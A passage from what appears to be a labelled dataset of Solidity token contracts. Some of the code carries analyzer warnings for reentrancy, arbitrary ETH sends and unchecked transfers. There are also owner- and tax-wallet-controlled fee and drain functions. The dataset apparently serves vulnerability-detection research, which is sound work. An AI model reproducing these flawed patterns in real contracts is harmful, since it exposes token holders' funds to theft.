'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3e2e101: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (block.number < tradingOpenBlock) {\n require(\n _isExcludedFromFee[from] || _isExcludedFromFee[to],\n \"Trading is not open yet and you are not authorized\"\n );\n }\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a7b6bcc\n\t\t\t\t// reentrancy-eth | ID: 3e2e101\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a7b6bcc\n\t\t\t\t\t// reentrancy-eth | ID: 3e2e101\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3e2e101\n sellCount++;\n\t\t\t\t// reentrancy-eth | ID: 3e2e101\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3e2e101\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: a7b6bcc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3e2e101\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 3e2e101\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: a7b6bcc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 2ce8b8e\n\t\t// reentrancy-events | ID: a7b6bcc\n\t\t// reentrancy-benign | ID: 75ebe46\n\t\t// reentrancy-eth | ID: 3e2e101\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f9c1e71): THEHOLYMASCOT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls (success,None) = _taxWallet.call{value amount}() (success_scope_0,None) = _taxWallet.call{value ethForTaxWallet}()\n\t// Recommendation for f9c1e71: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n if (_devPortion == 0) {\n\t\t\t// reentrancy-events | ID: 2ce8b8e\n\t\t\t// reentrancy-events | ID: a7b6bcc\n\t\t\t// reentrancy-benign | ID: 75ebe46\n\t\t\t// reentrancy-eth | ID: 3e2e101\n\t\t\t// arbitrary-send-eth | ID: f9c1e71\n (bool success, ) = _taxWallet.call{value: amount}(\"\");\n success;\n } else {\n uint256 ethForDev = (amount * _devPortion) / 100;\n uint256 ethForTaxWallet = amount - ethForDev;\n\t\t\t// reentrancy-events | ID: 2ce8b8e\n\t\t\t// reentrancy-events | ID: a7b6bcc\n\t\t\t// reentrancy-benign | ID: 75ebe46\n\t\t\t// reentrancy-eth | ID: 3e2e101\n (bool devsuccess, ) = _devWallet.call{value: ethForDev}(\"\");\n devsuccess;\n\t\t\t// reentrancy-events | ID: 2ce8b8e\n\t\t\t// reentrancy-events | ID: a7b6bcc\n\t\t\t// reentrancy-benign | ID: 75ebe46\n\t\t\t// reentrancy-eth | ID: 3e2e101\n\t\t\t// arbitrary-send-eth | ID: f9c1e71\n (bool success, ) = _taxWallet.call{value: ethForTaxWallet}(\"\");\n success;\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 579e370): THEHOLYMASCOT.addLP() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 579e370: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bf84d55): THEHOLYMASCOT.addLP() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bf84d55: Ensure that all the return values of the function calls are used.\n function addLP() external onlyOwner {\n require(tradingOpenBlock > block.number, \"Trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// unused-return | ID: bf84d55\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// unused-return | ID: 579e370\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n }\n\n function openTrading() external onlyOwner {\n require(tradingOpenBlock > block.number, \"Trading is already open\");\n tradingOpenBlock = block.number;\n swapEnabled = true;\n emit TradingOpened(block.timestamp, block.number);\n }\n\n receive() external payable {}\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n _finalSellTax = _newFee;\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool success) {\n require(_msgSender() == _taxWallet);\n\n if (tokens == 0) {\n tokens = IERC20(tokenAddress).balanceOf(address(this));\n }\n\n emit ClearToken(tokenAddress, tokens);\n return IERC20(tokenAddress).transfer(_taxWallet, tokens);\n }\n\n function setExcludedFromFee(\n address account,\n bool excluded\n ) external onlyOwner {\n require(account != address(0), \"Cannot set zero address\");\n _isExcludedFromFee[account] = excluded;\n }\n\n function setExcludedFromFeeMulti(\n address[] calldata accounts,\n bool excluded\n ) external onlyOwner {\n require(accounts.length > 0, \"Empty array\");\n for (uint256 i = 0; i < accounts.length; i++) {\n require(accounts[i] != address(0), \"Cannot set zero address\");\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet cannot be the zero address\"\n );\n _taxWallet = newTaxWallet;\n }\n\n function manualSend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 ethBalance = address(this).balance;\n require(ethBalance > 0, \"Contract balance must be greater than zero\");\n sendETHToFee(ethBalance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10036.sol",
"size_bytes": 22280,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Mego is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 09826e1): Mego._taxWallet should be immutable \n\t// Recommendation for 09826e1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 343c0a5): Mego._finalBuyTax should be constant \n\t// Recommendation for 343c0a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0625b81): Mego._finalSellTax should be constant \n\t// Recommendation for 0625b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mego\";\n\n string private constant _symbol = unicode\"MEGO\";\n\n uint256 public _maxTxAmount = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 125aca3): Mego._taxSwapThreshold should be constant \n\t// Recommendation for 125aca3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0b86ee): Mego._maxTaxSwap should be constant \n\t// Recommendation for a0b86ee: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4e90f04): Mego.caBlockLimit should be constant \n\t// Recommendation for 4e90f04: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa561b): Mego.caLimit should be constant \n\t// Recommendation for 5fa561b: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7F767904fbdBfe8f4e7f9192A73FfA9cb194A66a);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 68fb630): Mego.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 68fb630: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0204140): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0204140: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d0148f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d0148f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0204140\n\t\t// reentrancy-benign | ID: 3d0148f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0204140\n\t\t// reentrancy-benign | ID: 3d0148f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc3ffae): Mego._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc3ffae: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3d0148f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0204140\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d1cca50): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d1cca50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d2e6e5f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d2e6e5f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3ee25c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3ee25c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: d1cca50\n\t\t\t\t// reentrancy-eth | ID: d2e6e5f\n\t\t\t\t// reentrancy-eth | ID: 3ee25c8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d1cca50\n\t\t\t\t\t// reentrancy-eth | ID: d2e6e5f\n\t\t\t\t\t// reentrancy-eth | ID: 3ee25c8\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d2e6e5f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d2e6e5f\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d1cca50\n\t\t\t\t// reentrancy-eth | ID: 3ee25c8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d1cca50\n\t\t\t\t\t// reentrancy-eth | ID: 3ee25c8\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3ee25c8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d1cca50\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3ee25c8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3ee25c8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d1cca50\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0204140\n\t\t// reentrancy-events | ID: d1cca50\n\t\t// reentrancy-benign | ID: 3d0148f\n\t\t// reentrancy-eth | ID: d2e6e5f\n\t\t// reentrancy-eth | ID: 3ee25c8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9c4a549): Missing events for critical arithmetic parameters.\n\t// Recommendation for 9c4a549: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 9c4a549\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 9c4a549\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 9c4a549\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 9c4a549\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 9c4a549\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3b07052): Mego.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 3b07052: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 3b07052\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0204140\n\t\t// reentrancy-events | ID: d1cca50\n\t\t// reentrancy-eth | ID: d2e6e5f\n\t\t// reentrancy-eth | ID: 3ee25c8\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 200e11e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 200e11e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: eb42bf5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for eb42bf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c301d44): Mego.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c301d44: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ce4bdad): Mego.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ce4bdad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3bf9fd8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3bf9fd8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 200e11e\n\t\t// reentrancy-benign | ID: eb42bf5\n\t\t// reentrancy-eth | ID: 3bf9fd8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: eb42bf5\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: eb42bf5\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 200e11e\n\t\t// unused-return | ID: c301d44\n\t\t// reentrancy-eth | ID: 3bf9fd8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 200e11e\n\t\t// unused-return | ID: ce4bdad\n\t\t// reentrancy-eth | ID: 3bf9fd8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 200e11e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3bf9fd8\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 200e11e\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10037.sol",
"size_bytes": 22084,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), 